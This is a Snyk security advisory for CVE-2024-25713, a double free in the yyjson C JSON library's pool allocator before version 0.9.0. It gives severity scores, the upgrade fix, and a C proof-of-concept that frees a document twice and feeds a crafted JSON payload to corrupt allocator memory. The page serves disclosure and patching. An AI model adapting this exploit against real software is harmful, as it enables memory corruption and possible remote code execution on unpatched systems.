Double Free Affecting github.com/ibireme/yyjson package, versions <0.9.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.84% (77th percentile)

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  • Snyk IDSNYK-SWIFT-IBIREMEYYJSON-10043597
  • published6 May 2025
  • disclosed11 Feb 2024
  • creditAlsoprach

Introduced: 11 Feb 2024

CVE-2024-25713  (opens in a new tab)
CWE-415  (opens in a new tab)

How to fix?

Upgrade ibireme/yyjson to version 0.9.0 or higher.

Overview

ibireme/yyjson is a C JSON library binding

Affected versions of this package are vulnerable to Double Free due to improper loop checks in the pool_free function, which is part of the pool series allocator alongside pool_malloc and pool_realloc. An attacker can execute arbitrary code remotely by exploiting this flaw.

PoC

#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

References

CVSS Base Scores

version 3.1